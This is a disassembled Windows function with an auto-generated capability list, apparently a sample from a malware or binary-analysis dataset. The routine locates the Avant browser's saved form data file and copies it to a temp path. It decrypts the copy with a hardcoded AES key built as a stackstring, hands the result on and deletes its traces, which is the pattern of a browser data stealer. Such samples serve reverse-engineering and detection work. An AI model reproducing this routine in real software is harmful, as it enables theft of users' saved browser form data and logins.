Function at 0x441107
Capabilities:
Contain obfuscated stackstrings
Copy file
Create new key via cryptacquirecontext
Delete file
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Get common file path
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2b78
call fcn.00612c90
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
mov ebx, dword [ebp + 8]
lea eax, [ebp - 0x1770]
push esi
push edi
push 0xb
mov dword [ebp - 0x2b74], ecx
lea edi, [ebp - 0x179c]
pop ecx
mov esi, str.Avant_Profiles.default_formdata_forms.dat
rep movsd dword es:[edi], dword [esi]
push 0x3bc
xor esi, esi
push esi
push eax
call fcn.006390b0
add esp, 0xc
push ebx
call fcn.00643470
pop ecx
xor ecx, ecx
inc ecx
cmp eax, ecx
lea eax, [ebp - 0x414]
jbe 0x441174
push ebx
mov esi, 0x3e8
push esi
push eax
call fcn.006494f3
jmp 0x4411a1
push eax
push esi
push esi
push 0x1a
push esi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
js 0x441543
lea eax, [ebp - 0x179c]
mov esi, 0x3e8
push eax
lea eax, [ebp - 0x414]
push esi
push eax
call fcn.006500a8
add esp, 0xc
lea ecx, [ebp - 0x414]
call fcn.00405670
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x441541
mov ebx, dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x7fc]
push eax
push esi
call ebx
call dword [sym.imp.KERNEL32.dll_GetTickCount64]
cdq
mov ecx, 0x186a0
idiv ecx
lea eax, [ebp - 0x7fc]
push edx
push eax
push str._sat_bw_tmp__d
lea eax, [ebp - 0xbe4]
push esi
push eax
call fcn.00402e0a
add esp, 0x14
lea eax, [ebp - 0xbe4]
push 0
push eax
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x44121c
call edi
lea eax, [ebp - 0x414]
jmp 0x441222
lea eax, [ebp - 0xbe4]
and dword [ebp - 0x2b54], 0
push 0x6c5e0c
push eax
lea eax, [ebp - 0x2b54]
push eax
call fcn.00649a00
add esp, 0xc
cmp dword [ebp - 0x2b54], 0
je 0x441543
test eax, eax
jne 0x441543
lea eax, [ebp - 0x7fc]
push eax
push esi
call ebx
call dword [sym.imp.KERNEL32.dll_GetTickCount64]
cdq
mov ecx, 0x186a0
idiv ecx
lea eax, [ebp - 0x7fc]
push edx
push eax
push str._sat_out_tmp__d
lea eax, [ebp - 0xfcc]
push esi
push eax
call fcn.00402e0a
add esp, 0x14
lea eax, [ebp - 0xfcc]
xor ebx, ebx
mov dword [ebp - 0x2b58], ebx
push 0x6ca97c
push eax
lea eax, [ebp - 0x2b58]
push eax
call fcn.00649a00
add esp, 0xc
cmp dword [ebp - 0x2b58], ebx
je 0x441543
test eax, eax
jne 0x441543
push 0x20
pop eax
push eax
mov dword [ebp - 0x2b48], eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x2b44]
mov dword [ebp - 0x28], 0x6b663932
push eax
mov dword [ebp - 0x24], 0x32313965
mov dword [ebp - 0x20], 0x78666274
mov dword [ebp - 0x1c], 0x36373238
mov dword [ebp - 0x18], 0x326d3534
mov dword [ebp - 0x14], 0x736b3938
mov dword [ebp - 0x10], 0x75333239
mov dword [ebp - 0xc], 0x76326b61
mov dword [ebp - 0x2b50], 0x208
mov dword [ebp - 0x2b4c], 0x6610
call fcn.00638b30
add esp, 0xc
lea eax, [ebp - 0x2b64]
push 0xf0000000
push 0x18
push ebx
push ebx
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x441541
lea eax, [ebp - 0x2b5c]
push eax
push ebx
push ebx
push 0x2c
lea eax, [ebp - 0x2b50]
push eax
push dword [ebp - 0x2b64]
call dword [sym.imp.ADVAPI32.dll_CryptImportKey]
test eax, eax
je 0x441541
push ebx
lea eax, [ebp - 0x2b6c]
mov dword [ebp - 0x2b6c], 2
push eax
push 4
push dword [ebp - 0x2b5c]
call dword [sym.imp.ADVAPI32.dll_CryptSetKeyParam]
test eax, eax
je 0x441541
push dword [ebp - 0x2b54]
xor eax, eax
mov dword [ebp - 0x2b70], ebx
inc eax
push 4
push eax
lea eax, [ebp - 0x2b70]
push eax
call fcn.00651b3e
add esp, 0x10
cmp eax, 4
jne 0x441543
push dword [ebp - 0x2b54]
xor eax, eax
inc eax
push esi
push eax
mov dword [ebp - 0x2b68], eax
lea eax, [ebp - 0x2b24]
push eax
call fcn.00651b3e
add esp, 0x10
jmp 0x441465
push 1
pop ecx
cmp eax, esi
mov dword [ebp - 0x2b60], eax
lea eax, [ebp - 0x2b60]
push eax
lea eax, [ebp - 0x2b24]
cmovbe ebx, ecx
push eax
push 0
push ebx
push 0
push dword [ebp - 0x2b5c]
call dword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
jne 0x44142e
call edi
cmp eax, 0x80090005
jne 0x44142a
mov eax, dword [ebp - 0x2b60]
xor ecx, ecx
inc ecx
cmp eax, ecx
jae 0x441434
xor ebx, ebx
jmp 0x441473
mov eax, dword [ebp - 0x2b60]
push dword [ebp - 0x2b58]
push eax
xor eax, eax
inc eax
push eax
lea eax, [ebp - 0x2b24]
push eax
call fcn.00649812
push dword [ebp - 0x2b54]
xor eax, eax
inc eax
push esi
push eax
lea eax, [ebp - 0x2b24]
push eax
call fcn.00651b3e
add esp, 0x20
test eax, eax
jne 0x4413e3
mov ebx, dword [ebp - 0x2b68]
push dword [ebp - 0x2b54]
call fcn.00649273
pop ecx
push dword [ebp - 0x2b58]
call fcn.00649273
mov edi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0xbe4]
pop ecx
push eax
call edi
cmp dword [ebp - 0x2b5c], 0
je 0x4414af
push dword [ebp - 0x2b5c]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
cmp dword [ebp - 0x2b64], 0
je 0x4414c6
push 0
push dword [ebp - 0x2b64]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
test ebx, ebx
je 0x441543
lea eax, [ebp - 0x7fc]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
call dword [sym.imp.KERNEL32.dll_GetTickCount64]
cdq
mov ecx, 0x186a0
idiv ecx
lea eax, [ebp - 0x7fc]
push edx
push eax
push str._sat_out_frm__d
lea eax, [ebp - 0x13b4]
push esi
push eax
call fcn.00402e0a
add esp, 0x14
lea edx, [ebp - 0x13b4]
lea ecx, [ebp - 0xfcc]
call fcn.00440e29
test eax, eax
je 0x441543
lea ecx, [ebp - 0x13b4]
push ecx
mov ecx, dword [ebp - 0x2b74]
call fcn.00440e71
lea ecx, [ebp - 0xfcc]
push ecx
call edi
lea ecx, [ebp - 0x13b4]
push ecx
call edi
xor eax, eax
inc eax
jmp 0x441545
call edi
xor eax, eax
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret 4